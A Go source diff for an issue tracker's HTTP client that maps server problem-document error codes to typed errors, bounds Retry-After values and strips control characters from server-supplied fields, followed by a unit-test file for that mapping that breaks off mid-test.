+ // + // They are pointers for the reason every pointer here is one: PRESENCE is + // load-bearing on all six. An `expected_*` echoes the request, so its + // absence means the operation carried no such guard — and 0 and "" are both + // real guards, so neither zero value can stand in for absence. An `actual_*` + // is present only where the refusing operation can REPORT what it found: an + // all-or-nothing operation rolls its transaction back, and a value read + // after the fact would describe a row the refusal never saw, so absence + // there means "this server cannot tell you", never "it found zero". + // + // THE VERSIONS ARE CARRIED AS THE STRINGS THE WIRE SPELLS THEM IN. Since + // upstream #6053 every revision token on the surface is a decimal string + // (types.RevisionToken), never a JSON number, so nothing on this path can + // round one. They are deliberately NOT parsed back to int64 here: the token + // is opaque and equality-only, `expected_version` is the ECHO of what the + // request sent (a caller comparing it to its own guard compares + // types.RevisionToken(guard) to it), and `actual_version` is a diagnostic — + // the contract says to compose the next guard from a `revision` a WRITE + // answered with, never from a refusal. Parsing on the refusal path could + // only turn a well-formed 409 into a decode failure or drop a member whose + // presence is load-bearing, and nothing in this package reads them + // numerically. They are stripped like every other server-controlled string. + ExpectedVersion *string + ActualVersion *string + ExpectedStatus *string + ActualStatus *string + ExpectedAssignee *string + ActualAssignee *string + + // The batch-item members, on a refusal from an operation whose items are + // HETEROGENEOUS and may be named — issues:batchApply is the whole + // population. They are the only place the offender exists: that operation + // is all or nothing, so a refusal carries no per-item result array for a + // client to find it in, and the server reads these off the role's own typed + // *issueops.ItemError inside the transaction that refused. + // + // PRESENCE IS LOAD-BEARING ON ALL OF THEM, which is why the index is a + // pointer and not an int: 0 is the FIRST ITEM and a real answer, so a bare + // int could not tell it from a refusal that named no item at all. Key and + // IssueID are absent for real states rather than gaps — not every item + // carries a key, and a create whose id was never minted has none to report. + // + // ItemIssueID is deliberately NOT ProblemError.IssueID, and the divergence + // is the server's rather than a spelling choice here: IssueID's PRESENCE + // discriminates the dependency_cycle hierarchy refusal from the plain + // scheduling one, so a batch reusing it would fire that discriminator on + // refusals it says nothing about. + ItemIndex *int + ItemKind *string + ItemKey *string + ItemIssueID *string + // DeclaredLater tells the two unresolvable-key diagnoses apart: true is an + // ORDERING mistake — the key IS declared, by a later item, and a key + // reaches backward only — and false is a key nothing in the request + // declares, which is a typo or a missing item. It is emitted in BOTH + // polarities, so it is a pointer for the reason BlockerIsAncestor is one: + // absence has to mean "this refusal was not about a key", never false. + DeclaredLater *bool + + // The journal-truncation window, with `events_journal_truncated`: the + // checkpoint the window begins after, the lowest seq still retained, and the + // highest seq ever assigned. + // + // They are carried rather than folded into the sentinel because that + // sentinel is storage.EventsJournalTruncatedError, and this package + // deliberately imports no storage — the whole point of respelling the + // operation ids here is that a process talking to a bd serve does not link + // the engine. A consumer with a journal accessor rebuilds the typed error + // from these three; without them the recovery (resume from floor-1 and + // accept the gap, or re-baseline) would have to be parsed out of prose. + Since *int64 + Floor *int64 + Head *int64 + + // Err is the canonical sentinel this code maps to. It is what Unwrap + // returns, so errors.Is and errors.As reach it. + Err error +} + +func (e *ProblemError) Error() string { + var b strings.Builder + fmt.Fprintf(&b, "%s: bd serve at %s answered %d", e.Op, e.ServerURL, e.Status) + if e.Code != "" { + fmt.Fprintf(&b, " %s", e.Code) + } + if e.Detail != "" { + fmt.Fprintf(&b, ": %s", e.Detail) + } + // The 5xx detail is a fixed string per code and says nothing about the + // underlying failure, so the correlation id is the client's only handle on + // the one server log line that has it. + if e.Status >= 500 && e.RequestID != "" { + fmt.Fprintf(&b, " (request_id %s)", e.RequestID) + } + // Naming the rung the refused credential came from is what turns "the server + // said 401" into something the operator can act on: it says WHICH source to + // rotate or fix (design D7). The server never says which of missing, + // malformed or unrecognized it was, and this does not guess — it reports only + // the client-side provenance of the credential it presented. + if e.Status == http.StatusUnauthorized && e.CredentialSource != "" { + fmt.Fprintf(&b, " (credential from %s)", e.CredentialSource) + } + return b.String() +} + +func (e *ProblemError) Unwrap() error { return e.Err } + +// Retryable reports whether the server said to come back. Only the 503 class +// says so: an unknown 4xx is a client bug and every other 5xx is a fault the +// same request will earn again. +func (e *ProblemError) Retryable() bool { + return e.Status == http.StatusServiceUnavailable || + errors.Is(e.Err, ErrBusy) || errors.Is(e.Err, ErrDBUnavailable) +} + +// ReasonProjectMismatch is the Problem `reason` the server sets on a refusal of +// a Bd-Project-Id stamp for the wrong workspace, spelled exactly as the server's +// httpapi.ReasonProjectMismatch (held to it by +// TestProjectMismatchReasonMatchesTheServerConstant). It is the discriminator +// mapProblem reads to build the typed *ProjectMismatchError, ahead of the code +// table: the code is the generic invalid_argument, so reason is the only thing +// that tells this wrong-server refusal from a malformed-argument one. +const ReasonProjectMismatch = "project_mismatch" + +// ReasonWireRevisionUnsupported is the Problem `reason` the server sets when +// this client's declared Bd-Wire-Revision header named a revision below the +// server's own min_client_wire_revision, spelled exactly as the server's +// httpapi.ReasonWireRevisionUnsupported (held to it by +// TestTheProjectIdentityVocabularyMatchesTheServer). Like ReasonProjectMismatch +// it rides the generic invalid_argument code, so reason is the only thing that +// tells this refusal apart from an ordinary malformed argument. +const ReasonWireRevisionUnsupported = "wire_revision_unsupported" + +// ErrWireRevisionUnsupported reports that bd serve refused this client's +// declared Bd-Wire-Revision header as older than the revision it now +// requires. See WireRevisionUnsupportedError. +var ErrWireRevisionUnsupported = errors.New("bd serve requires a newer client wire revision than this client declared") + +// WireRevisionUnsupportedError is the per-request mirror of the handshake's +// own gate (wire.WireRevisionSkewError, handshake.go): the server has read +// this client's declared Bd-Wire-Revision header (wire.ClientWireRevision, +// stamped on every request by Client.stampRequest) and refused it as below +// the floor it enforces now. Unlike WireRevisionSkewError — raised locally, +// from a 200 ContextResponse, when THIS client decides the SERVER's wire +// shape is one it cannot speak — this one is the SERVER's own refusal, and it +// can arrive on any request, including the context fetch the handshake +// itself makes (ContextResponse.MinClientWireRevision's doc: "raised ... on +// GET /v0/beads/context too"), in which case it surfaces through +// Client.Handshake exactly the way any other *ProblemError from GetContext +// does — no separate handling is needed there. +type WireRevisionUnsupportedError struct { + ServerURL string + BdVersion string + // ClientWireRevision is this build's own declared revision, which is what + // was refused. + ClientWireRevision int + // MinClientWireRevision is the server's own floor, from the refusal's + // min_wire_revision extension member. + MinClientWireRevision int + // ServerWireRevision is the server's own current wire_revision, from the + // refusal's wire_revision extension member. + ServerWireRevision int +} + +func (e *WireRevisionUnsupportedError) Error() string { + return fmt.Sprintf("bd serve at %s (bd_version %s) requires a client wire revision of at least %d; this client declared %d", + e.ServerURL, e.BdVersion, e.MinClientWireRevision, e.ClientWireRevision) +} + +func (e *WireRevisionUnsupportedError) Unwrap() error { return ErrWireRevisionUnsupported } + +// target names the ids the wire's conflict members leave out. The server does +// not echo the issue a claim refused or the edge a dependency_exists collided +// with — the request already said — so the caller supplies them and the +// reconstructed sentinel comes out whole. +type target struct { + op string + serverURL string + issueID string + dependsOnID string + // expectID is the workspace's own pinned project id (Client.expectID), which + // the wire never carries — it is a client-side fact. A project_mismatch + // refusal names the server's own id in server_project_id; pairing it with this + // expected id is what lets the typed *ProjectMismatchError say BOTH sides of + // the disagreement without the client parsing the refusal's prose. + expectID string +} + +// mapProblem decodes an RFC 9457 body and maps it onto the canonical sentinel +// for its code. +// +// `code` is the ONLY dispatch key, per the document: a code carries one frozen +// status, so reading the status instead would be a second, weaker copy of the +// same table. The status is consulted for exactly one thing — the default +// branch for a code this client has never heard of, which is how the vocabulary +// stays additive. +func mapProblem(t target, status int, header http.Header, body []byte, maxRetryAfter time.Duration) *ProblemError { + var p apigen.Problem + // A non-2xx that is not problem+json at all is a real case: a proxy, a load + // balancer or a stray server on the port answers with HTML. It falls through + // to the status-class default branch with an empty code, which is exactly + // what an unrecognized code does. + _ = json.Unmarshal(body, &p) + + // Every string that comes off the wire here is server-controlled and ends up + // in an error rendered to a terminal or a log line — often through a %v sink + // that never touches the CLI's output-boundary strip (bd close/show/reopen/ + // update write each per-id failure straight to os.Stderr). So the control + // runes are removed HERE, the moment the bytes become a typed error, and both + // the direct fields AND the extension members the typed conflicts are + // reconstructed from below (sentinelFor) are cleaned — an issue id echoed by a + // dependency-cycle conflict is as server-controlled as the detail string. The + // pointer members keep their presence, which is load-bearing discrimination on + // three of them. Tab and newline are stripped too (unlike the display-layer + // strip): a problem field is a single value with no legitimate framing. + e := &ProblemError{ + Op: t.op, + ServerURL: t.serverURL, + Status: status, + Code: stripControlRunes(p.Code), + Title: stripControlRunes(p.Title), + Detail: stripControlRunes(deref(p.Detail)), + Param: stripControlRunes(deref(p.Param)), + Reason: stripControlRunes(deref(p.Reason)), + RequestID: stripControlRunes(p.RequestId), + RetryAfter: retryAfter(header, maxRetryAfter), + Assignee: stripControlRunesPtr(p.Assignee), + IssueStatus: stripControlRunesPtr(p.IssueStatus), + OpenChildren: p.OpenChildren, + ExistingType: stripControlRunesPtr(p.ExistingType), + RequestedType: stripControlRunesPtr(p.RequestedType), + IssueID: stripControlRunesPtr(p.IssueId), + BlockerID: stripControlRunesPtr(p.BlockerId), + BlockerIsAncestor: p.BlockerIsAncestor, + Since: p.Since, + Floor: p.Floor, + Head: p.Head, + // The guard pair. All six are strings on the wire — the two versions + // are decimal revision tokens (types.RevisionToken) and are carried as + // the strings the server spelled, see the field comment — and all six + // are stripped like every other server-controlled field, keeping their + // PRESENCE, which is the state that discriminates. + ExpectedVersion: stripControlRunesPtr(p.ExpectedVersion), + ActualVersion: stripControlRunesPtr(p.ActualVersion), + ExpectedStatus: stripControlRunesPtr(p.ExpectedStatus), + ActualStatus: stripControlRunesPtr(p.ActualStatus), + ExpectedAssignee: stripControlRunesPtr(p.ExpectedAssignee), + ActualAssignee: stripControlRunesPtr(p.ActualAssignee), + // The batch-item members. The three strings are stripped like every + // other server-controlled field and keep their presence; the index and + // the ordering discriminator travel as the generated pointers, which is + // what keeps a zero index and a false polarity apart from absence. + ItemIndex: p.ItemIndex, + ItemKind: stripControlRunesPtr(p.ItemKind), + ItemKey: stripControlRunesPtr(p.ItemKey), + ItemIssueID: stripControlRunesPtr(p.ItemIssueId), + DeclaredLater: p.DeclaredLater, + } + legacyRevisionFields(body, e) + + // The wrong-server arm, discriminated on REASON and taken BEFORE the code + // table. A project_mismatch is spelled invalid_argument on the wire, so the + // code table would map it to ErrValidation and lose the whole signal; the + // reason is what tells it apart. It is the one refusal that carries + // server_project_id — the id the server actually serves — which is stripped + // here at the decode boundary like every other server-controlled field and is + // deliberately NOT a generic ProblemError member: it exists only to build this + // typed error, paired with the workspace's own expected id, and unwraps + // ErrProjectMismatch so cmd/bd renders one recovery block for both this + // per-request path and the handshake identity gate. Database and RepoRoot are + // left empty: this refusal discloses only the server's id, not its location. + if e.Reason == ReasonProjectMismatch { + e.Err = &ProjectMismatchError{ + ServerURL: t.serverURL, + Expected: t.expectID, + Got: stripControlRunes(deref(p.ServerProjectId)), + } + return e + } + + // The other document-level arm, discriminated the same way and for the + // same reason: wire_revision_unsupported rides the generic + // invalid_argument code too, so reason is what tells it apart. The three + // extension members it alone carries are read straight off the problem — + // stripped like every other server-controlled field — rather than folded + // into the generic ProblemError, because this refusal is a statement about + // the SERVER's wire shape, not about the request's arguments. + if e.Reason == ReasonWireRevisionUnsupported { + e.Err = &WireRevisionUnsupportedError{ + ServerURL: t.serverURL, + BdVersion: stripControlRunes(deref(p.BdVersion)), + ClientWireRevision: ClientWireRevision, + MinClientWireRevision: deref(p.MinWireRevision), + ServerWireRevision: deref(p.WireRevision), + } + return e + } + + e.Err = sentinelFor(e, t) + return e +} + +// decodeRevisionToken reads a revision-bearing problem member that may be +// encoded either as the decimal string every server since upstream #6053 +// uses (types.RevisionToken) or as the bare JSON integer a server old enough +// to omit ContextResponse.wire_revision entirely still sends (see +// ClientMinWireRevision's doc: a decoded 0 means the server omitted the +// member, and 0 is exactly the pre-#6053 integer-token generation). Both +// shapes name the same opaque token — this client never parses either one +// back to int64 (ProblemError.ExpectedVersion's doc) — so tolerating the +// older shape here is only about surviving the decode, never about deriving a +// number from it. +func decodeRevisionToken(raw json.RawMessage) (string, bool) { + if len(raw) == 0 || string(raw) == "null" { + return "", false + } + var s string + if err := json.Unmarshal(raw, &s); err == nil { + return s, true + } + var n json.Number + if err := json.Unmarshal(raw, &n); err == nil { + return n.String(), true + } + return "", false +} + +// revisionNeedsFallback reports whether a *string revision field still needs +// legacyRevisionFields' integer-tolerant recovery. A genuinely absent member +// decodes to nil, as expected — but encoding/json's indirect() allocates a +// pointer to the zero value ("") for a *string field BEFORE it discovers the +// JSON value's type doesn't match, when the member IS present with the wrong +// shape (a bare integer). That pre-allocation means a type-mismatched field +// comes out of the primary json.Unmarshal(body, &p) as a non-nil pointer to +// "", not nil — so checking only for nil here would never recover exactly the +// one case this fallback exists for. No legitimate server response uses a +// literal empty-string revision token (ProblemError.ExpectedVersion's doc: +// both are opaque, server-defined, non-numeric tokens an operation always +// names when it fires at all), so treating "" the same as nil costs nothing. +func revisionNeedsFallback(p *string) bool { + return p == nil || *p == "" +} + +// legacyRevisionFields backfills expected_version/actual_version when the +// primary decode above left them needing fallback (see revisionNeedsFallback). +// That happens exactly when a pre-#6053 server sent one as a bare JSON +// integer rather than the decimal string every server since has used: +// json.Unmarshal(body, &p) already tolerates the mismatch (a bad field does +// not abort decoding the rest, and mapProblem deliberately discards that +// error), so the only member actually lost is the one with the wrong shape — +// and that is exactly what this recovers, from the same bytes, by parsing the +// two revision keys alone and accepting either shape. +func legacyRevisionFields(body []byte, e *ProblemError) { + if !revisionNeedsFallback(e.ExpectedVersion) && !revisionNeedsFallback(e.ActualVersion) { + return + } + var raw struct { + ExpectedVersion json.RawMessage `json:"expected_version"` + ActualVersion json.RawMessage `json:"actual_version"` + } + if json.Unmarshal(body, &raw) != nil { + return + } + if revisionNeedsFallback(e.ExpectedVersion) { + if v, ok := decodeRevisionToken(raw.ExpectedVersion); ok { + v = stripControlRunes(v) + e.ExpectedVersion = &v + } + } + if revisionNeedsFallback(e.ActualVersion) { + if v, ok := decodeRevisionToken(raw.ActualVersion); ok { + v = stripControlRunes(v) + e.ActualVersion = &v + } + } +} + +// codeSentinel is the whole problem-code vocabulary this client knows, and the +// canonical error each code becomes. +// +// It is a table rather than a switch so the vocabulary is ENUMERABLE: +// TestTheCodeTableIsSetEqualWithTheDocumentedVocabulary walks it against the +// `x-bd-codes` rows of the shipped OpenAPI document, in both directions, which +// a switch statement could not be held to. +var codeSentinel = map[string]func(*ProblemError, target) error{ + "invalid_argument": func(*ProblemError, target) error { return issueops.ErrValidation }, + "invalid_cursor": func(*ProblemError, target) error { return ErrInvalidCursor }, + "unauthenticated": func(*ProblemError, target) error { return ErrUnauthenticated }, + "not_found": func(*ProblemError, target) error { return issueops.ErrNotFound }, + "already_exists": func(*ProblemError, target) error { return issueops.ErrAlreadyExists }, + "busy": func(*ProblemError, target) error { return ErrBusy }, + "db_unavailable": func(*ProblemError, target) error { return ErrDBUnavailable }, + "internal": func(*ProblemError, target) error { return ErrServerFault }, + + // The journal codes, on the table for the reason stated beside their + // sentinels: set-equality with the document, not with what this client + // reaches today. + "events_journal_disabled": func(*ProblemError, target) error { return ErrEventsJournalDisabled }, + "events_journal_truncated": func(*ProblemError, target) error { return ErrEventsJournalTruncated }, + "events_watch_saturated": func(*ProblemError, target) error { return ErrEventsWatchSaturated }, + + // `param` names WHICH guard missed, in the same spelling a 400 on the same + // operation would use, so the client answers with the issueops sentinel the + // embedded store returns for that miss and a caller classifies both + // backends with one errors.Is arm. An unrecognized (or absent) param takes + // the generic sentinel rather than guessing one of the three. + // + // The MEMBER is read off the end of the param rather than compared whole, + // because a batch operation qualifies it by the item that carried the + // guard: `items[1].update.expected_version` is the same member as + // `expected_version` and means the same miss. A whole-string comparison + // answered the generic sentinel for every guarded item in a plan, which is + // a caller told "a precondition failed" where a local backend tells it + // WHICH — see paramMember. + "precondition_failed": func(e *ProblemError, _ target) error { + switch paramMember(e.Param) { + case "expected_version": + return issueops.ErrVersionMismatch + case "expected_status": + return issueops.ErrStatusMismatch + case "expected_assignee": + return issueops.ErrAssigneeMismatch + default: + return ErrPreconditionFailed + } + }, + + "already_claimed": func(e *ProblemError, t target) error { + return claimConflict(e, t, issueops.ErrAlreadyClaimed) + }, + "not_claimable": func(e *ProblemError, t target) error { + return claimConflict(e, t, issueops.ErrNotClaimable) + }, + + // Member PRESENCE is the discriminator the server documents: the + // open-children refusal carries the count, the live-blocker one carries + // nothing. Reading `detail` to tell them apart is exactly what the extension + // member exists to prevent. + "not_closable": func(e *ProblemError, t target) error { + if e.OpenChildren != nil { + return &issueops.CloseOpenChildrenError{IssueID: refusedIssueID(e, t), OpenChildren: *e.OpenChildren} + } + return issueops.ErrCloseBlocked + }, + + // not_releasable is the RELEASE's refusal, and it is REACHED: httpReleaser + // dials issues:release (releaser.go, client wave ga-f352s) and nine of the + // eleven Releaser contracts run through this mapping on the served tier. + // + // It was on this table BEFORE it was reachable, for the journal codes' + // reason — set-equality with the document rather than with what this client + // happens to dial — and that is worth keeping now that the wait is over: a + // code the document publishes and this table omitted would take the 4xx + // default branch and be reported as a client bug on the day an accessor + // started earning it. + // + // The role splits the refusal in two where the wire does not: ErrNotClaimed + // for a row holding no claim, ErrNotReleasable for a status that will not + // accept one. One code covers both by the server's own deliberate choice + // (see httpapi's CodeNotReleasable), and it carries no member that tells + // them apart, so this maps to the STATUS sentinel — the wider of the two, + // and the one whose message does not assert a fact the wire never sent. + "not_releasable": func(*ProblemError, target) error { return issueops.ErrNotReleasable }, + + // [Added: OSS publishes notes_overwrite_refused (internal/httpapi/problem.go + // CodeNotesOverwrite, status 409) for an update whose Patch.Notes would + // replace existing notes without an explicit overwrite flag. This code had + // no entry at all, so a server sending it fell through to the 4xx default + // and reported as an undifferentiated client bug instead of the typed + // sentinel callers already switch on locally.] + "notes_overwrite_refused": func(*ProblemError, target) error { return issueops.ErrNotesOverwrite }, + + // The same rule again: `issue_id` present means the edge named the issue's + // own ancestor or descendant, absent means a plain scheduling cycle. The + // three hierarchy members travel together and rebuild the typed error whole + // — including BlockerIsAncestor's false polarity, which is why the wire + // sends the boolean rather than omitting it. + "dependency_cycle": func(e *ProblemError, _ target) error { + if e.IssueID != nil { + return &issueops.DependencyHierarchyConflictError{ + IssueID: *e.IssueID, + BlockerID: deref(e.BlockerID), + BlockerIsAncestor: deref(e.BlockerIsAncestor), + } + } + return issueops.ErrDependencyCycle + }, + + // The endpoints are not on the wire — the request already said them — so + // they come from the caller and the typed error comes out whole. A batch add + // that refused on one of many edges leaves them empty, because the wire does + // not say WHICH edge collided. + "dependency_exists": func(e *ProblemError, t target) error { + return &issueops.DependencyTypeConflictError{ + IssueID: t.issueID, + DependsOnID: t.dependsOnID, + ExistingType: deref(e.ExistingType), + RequestedType: deref(e.RequestedType), + } + }, +} + +// Codes lists the problem codes this client maps, sorted. Anything outside it +// takes the status-class default branch. +func Codes() []string { + out := make([]string, 0, len(codeSentinel)) + for code := range codeSentinel { + out = append(out, code) + } + slices.Sort(out) + return out +} + +func sentinelFor(e *ProblemError, t target) error { + if row, ok := codeSentinel[e.Code]; ok { + return row(e, t) + } + + // The default branch. Adding a code is not a breaking change, so a client + // that hard-failed on an unknown one would break on every server newer than + // itself; falling back to the status class is what makes the vocabulary + // additive. + switch { + case e.Status == http.StatusUnauthorized: + // A 401 is authentication whether or not the answer carried a problem + // document, and it must be classified BEFORE the 4xx default. bd serve's + // own 401 arrives with a code and never reaches here; what does is a 401 + // from something in FRONT of it — a gateway or a proxy edge rejecting an + // expired credential before the request ever reaches bd — which answers + // with its own html or nothing at all. Falling through to ErrBadRequest + // told the caller its REQUEST was malformed, which sends an operator + // looking at flags for a credential to rotate. + return ErrUnauthenticated + case e.Status == http.StatusServiceUnavailable: + return ErrBusy + case e.Status >= 500: + return ErrServerFault + case e.Status >= 400: + return ErrBadRequest + default: + // A 1xx or 3xx reaching here is not a problem document at all. 3xx is + // refused before this point (redirects are not followed), so this is the + // unreachable arm — it fails as a server fault rather than as success. + return ErrServerFault + } +} + +// claimConflict rebuilds *issueops.ClaimConflictError from the two extension +// members the refusing transaction read. The wrapped sentinel is what +// errors.Is matches, so a caller that only wants "someone else has it" needs no +// errors.As at all. +func claimConflict(e *ProblemError, t target, sentinel error) error { + return &issueops.ClaimConflictError{ + IssueID: refusedIssueID(e, t), + Assignee: deref(e.Assignee), + Status: issueops.Status(deref(e.IssueStatus)), + Err: sentinel, + } +} + +// refusedIssueID names the row a reconstructed conflict is about. +// +// The REQUEST is the first source and stays the first source: the conflict +// members the server leaves out are the ones the request already said, which is +// what target exists for. But a BATCH names as many rows as it has items, so +// there is no single request id to supply — and on that operation the server +// publishes the one it acted on as `item_issue_id`, read inside the refusing +// transaction. Without this fallback every conflict rebuilt from a plan named +// the empty string, which reads as "the server did not say" when the server +// said it plainly. +func refusedIssueID(e *ProblemError, t target) string { + if t.issueID != "" { + return t.issueID + } + return deref(e.ItemIssueID) +} + +// paramMember reads the offending MEMBER off a problem's `param`. +// +// A single-resource operation spells it bare (`expected_version`); a batch +// qualifies it by the item that carried it (`items[1].update.expected_version`) +// so a client can find the offender in a request it composed. The member is the +// last dotted segment either way, and reading it is what lets one code table +// serve both spellings. +func paramMember(param string) string { + if i := strings.LastIndex(param, "."); i >= 0 { + return param[i+1:] + } + return param +} + +// retryAfter reads the header RFC 9110 defines in two spellings and bounds it. +// +// The bound is not politeness: the header is server-controlled input, and an +// unbounded honor is a server (or anything that can answer as one) parking the +// caller's process for as long as it likes. A value past the bound is clamped +// rather than dropped, because the server still meant "not immediately". +// +// Honoring it means bounding it and handing it to the caller — this layer never +// sleeps and never resends. Half of this surface is non-idempotent custom-method +// POSTs (claim, close, sweep, delete, the dependency writes), and a transport +// that slept and resent one of those on a 503 would double-apply a write whose +// first attempt may well have committed before the server ran out of slots. +// Which 503s are safe to come back to is the dispatch layer's question, and it +// is the layer that knows the answer. +func retryAfter(header http.Header, max time.Duration) time.Duration { + raw := strings.TrimSpace(header.Get("Retry-After")) + if raw == "" { + return 0 + } + var d time.Duration + if secs, err := strconv.Atoi(raw); err == nil { + d = time.Duration(secs) * time.Second + } else if at, err := http.ParseTime(raw); err == nil { + d = time.Until(at) + } else { + return 0 + } + if d < 0 { + return 0 + } + if max > 0 && d > max { + return max + } + return d +} + +func deref[T any](p *T) T { + if p == nil { + var zero T + return zero + } + return *p +} + +// stripControlRunes removes every control rune from a server-controlled problem +// field: category Cc — the C0 block, DEL and the C1 block, where ESC 0x1B and CSI +// 0x9B live — plus the U+2028/U+2029 line and paragraph separators. It mirrors the +// server's own actor rule (httpapi's isControlChar) and, unlike the CLI's +// display-layer strip, keeps nothing back: a problem field is a single value, so +// tab and newline in one are as much an injection as an escape introducer. This +// is the source-of-truth layer — it makes a decoded *ProblemError safe in EVERY +// field before it reaches any of the many stderr sinks that render it via %v. +func stripControlRunes(s string) string { + if !strings.ContainsFunc(s, isControlRune) { + return s + } + return strings.Map(func(r rune) rune { + if isControlRune(r) { + return -1 + } + return r + }, s) +} + +// stripControlRunesPtr strips a pointer member in place-safe fashion, preserving +// nil. Presence is load-bearing on three of the extension members (an explicit +// value versus an absent one discriminates two refusals), so a cleaned value is +// returned through a fresh pointer and an absent one stays absent. +func stripControlRunesPtr(p *string) *string { + if p == nil { + return nil + } + s := stripControlRunes(*p) + return &s +} + +func isControlRune(r rune) bool { + return unicode.IsControl(r) || r == '\u2028' || r == '\u2029' +} diff --git a/internal/httpclient/wire/problem_test.go b/internal/httpclient/wire/problem_test.go new file mode 100644 index 000000000..cf22b0009 --- /dev/null +++ b/internal/httpclient/wire/problem_test.go @@ -0,0 +1,789 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wire/problem_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package wire + +import ( + "errors" + "fmt" + "io" + "net/http" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// refuseWith answers every request with one canned problem document and returns +// the error the client made of it. +func refuseWith(t *testing.T, status int, body string, headers map[string]string, r Request, opts ...func(*Options)) error { + t.Helper() + o := Options{} + for _, fn := range opts { + fn(&o) + } + c, _ := newTestClient(t, o, nil, func(w http.ResponseWriter, _ *http.Request) { + for k, v := range headers { + w.Header().Set(k, v) + } + problemJSON(w, status, body) + }) + return c.Do(ctx(t), r, &struct{}{}) +} + +func listIssues() Request { + return Request{Op: OpListIssues, Method: http.MethodGet, Path: PathIssues} +} + +// TestEveryProblemCodeMapsToItsSentinel walks the whole frozen v0 vocabulary at +// tip — the eleven upstream codes plus the enterprise tree's `unauthenticated` +// — with each code on the status the server freezes it to. +func TestEveryProblemCodeMapsToItsSentinel(t *testing.T) { + cases := []struct { + code string + status int + body string + want error + }{ + {"invalid_argument", 400, `{"status":400,"code":"invalid_argument","detail":"unknown parameter","param":"sort","reason":"unknown_parameter","request_id":"r1"}`, issueops.ErrValidation}, + {"invalid_cursor", 400, `{"status":400,"code":"invalid_cursor","detail":"restart paging","request_id":"r2"}`, ErrInvalidCursor}, + {"unauthenticated", 401, `{"status":401,"code":"unauthenticated","detail":"missing or invalid bearer token","request_id":"r3"}`, ErrUnauthenticated}, + {"not_found", 404, `{"status":404,"code":"not_found","detail":"no issue or wisp with that id","request_id":"r4"}`, issueops.ErrNotFound}, + {"already_claimed", 409, `{"status":409,"code":"already_claimed","assignee":"other","issue_status":"in_progress","request_id":"r5"}`, issueops.ErrAlreadyClaimed}, + {"not_claimable", 409, `{"status":409,"code":"not_claimable","issue_status":"closed","request_id":"r6"}`, issueops.ErrNotClaimable}, + {"not_closable (open children)", 409, `{"status":409,"code":"not_closable","open_children":3,"request_id":"r7"}`, issueops.ErrCloseOpenChildren}, + {"not_closable (blocked)", 409, `{"status":409,"code":"not_closable","request_id":"r8"}`, issueops.ErrCloseBlocked}, + {"dependency_cycle (scheduling)", 409, `{"status":409,"code":"dependency_cycle","request_id":"r9"}`, issueops.ErrDependencyCycle}, + {"dependency_exists", 409, `{"status":409,"code":"dependency_exists","existing_type":"blocks","requested_type":"related","request_id":"r10"}`, nil}, + {"busy", 503, `{"status":503,"code":"busy","detail":"the server is busy; retry shortly","request_id":"r11"}`, ErrBusy}, + {"db_unavailable", 503, `{"status":503,"code":"db_unavailable","detail":"database temporarily unavailable; retry","request_id":"r12"}`, ErrDBUnavailable}, + {"internal", 500, `{"status":500,"code":"internal","detail":"internal server error","request_id":"r13"}`, ErrServerFault}, + } + for _, tc := range cases { + t.Run(tc.code, func(t *testing.T) { + err := refuseWith(t, tc.status, tc.body, nil, listIssues()) + + var problem *ProblemError + if !errors.As(err, &problem) { + t.Fatalf("err is %T (%v), want *ProblemError", err, err) + } + if problem.Status != tc.status { + t.Errorf("Status = %d, want %d", problem.Status, tc.status) + } + if problem.RequestID == "" { + t.Error("RequestId did not survive the decode") + } + if tc.want != nil && !errors.Is(err, tc.want) { + t.Errorf("err does not match %v: %v", tc.want, err) + } + // The dependency_exists row has no plain sentinel: it is a typed + // error whose members ARE the refusal. + if tc.code == "dependency_exists" { + var conflict *issueops.DependencyTypeConflictError + if !errors.As(err, &conflict) { + t.Fatalf("err is %T, want *issueops.DependencyTypeConflictError", err) + } + } + }) + } +} + +func TestClaimConflictsReconstructFromTheirExtensionMembers(t *testing.T) { + // The holder and the status are read inside the transaction that lost the + // compare-and-set; the client rebuilds the typed error from them instead of + // parsing the refusal's prose. + cases := []struct { + name string + body string + sentinel error + assignee string + status types.Status + }{ + { + name: "already claimed", + body: `{"status":409,"code":"already_claimed","assignee":"agent-7","issue_status":"in_progress"}`, + sentinel: issueops.ErrAlreadyClaimed, + assignee: "agent-7", + status: types.StatusInProgress, + }, + { + // Empty assignee is the documented shape when the refusal was about + // the status rather than a foreign holder. + name: "not claimable", + body: `{"status":409,"code":"not_claimable","issue_status":"closed"}`, + sentinel: issueops.ErrNotClaimable, + assignee: "", + status: types.StatusClosed, + }, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + err := refuseWith(t, 409, tc.body, nil, Request{ + Op: OpClaimIssue, Method: http.MethodPost, + Path: "/v0/beads/issues/ga-1:claim", IssueID: "ga-1", + }) + + var conflict *issueops.ClaimConflictError + if !errors.As(err, &conflict) { + t.Fatalf("err is %T (%v), want *issueops.ClaimConflictError", err, err) + } + // The id is not on the wire — the request already said it — so the + // client supplies it and the sentinel comes out whole. + if conflict.IssueID != "ga-1" { + t.Errorf("IssueID = %q, want ga-1", conflict.IssueID) + } + if conflict.Assignee != tc.assignee { + t.Errorf("Assignee = %q, want %q", conflict.Assignee, tc.assignee) + } + if conflict.Status != tc.status { + t.Errorf("Status = %q, want %q", conflict.Status, tc.status) + } + if !errors.Is(err, tc.sentinel) { + t.Errorf("the wrapped sentinel does not match %v", tc.sentinel) + } + }) + } +} + +func TestNotClosableUsesOpenChildrenPresenceAsTheDiscriminator(t *testing.T) { + // One code, two refusals. Member PRESENCE tells them apart; `detail` is + // never read. + t.Run("present means open children", func(t *testing.T) { + err := refuseWith(t, 409, `{"status":409,"code":"not_closable","open_children":4}`, nil, Request{ + Op: OpCloseIssue, Method: http.MethodPost, + Path: "/v0/beads/issues/ga-1:close", IssueID: "ga-1", + }) + var openChildren *issueops.CloseOpenChildrenError + if !errors.As(err, &openChildren) { + t.Fatalf("err is %T (%v), want *issueops.CloseOpenChildrenError", err, err) + } + if openChildren.OpenChildren != 4 || openChildren.IssueID != "ga-1" { + t.Errorf("reconstructed %+v", openChildren) + } + if !errors.Is(err, issueops.ErrCloseOpenChildren) { + t.Error("the wrapped sentinel does not match ErrCloseOpenChildren") + } + }) + + t.Run("absent means a live blocker", func(t *testing.T) { + err := refuseWith(t, 409, `{"status":409,"code":"not_closable","detail":"issue is blocked"}`, nil, Request{ + Op: OpCloseIssue, Method: 